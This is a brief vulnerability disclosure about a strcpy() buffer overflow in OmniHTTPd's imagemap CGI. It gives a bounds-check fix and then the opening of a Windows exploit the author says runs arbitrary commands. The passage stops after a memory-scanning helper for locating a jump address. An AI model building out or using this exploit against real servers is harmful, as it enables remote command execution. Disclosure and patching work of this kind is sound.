imagemap CGI which is distributed with OmniHTTPd 1.01 and Pro2.04
has a buffer overflow bug, I coded an exploit which can execute
any command on the victim host.
An C source code of imagemap CGI is included with OmniHTTPd, this
problem can be avoided by the addition of appropriate bound checking
code.
Buffer overflow caused by this strcpy().
This overflow can be avoided if you put the following code before
strcpy().
if (strlen(argv[1])>99) exit(0);
------ ex_imagemap.c for Windows -------------
/*=============================================================================
Imagemap 1.00.00 CGI Exploit (Distributed with OmniHTTPd 1.01 and Pro2.04)
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
unsigned int search_mem(unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}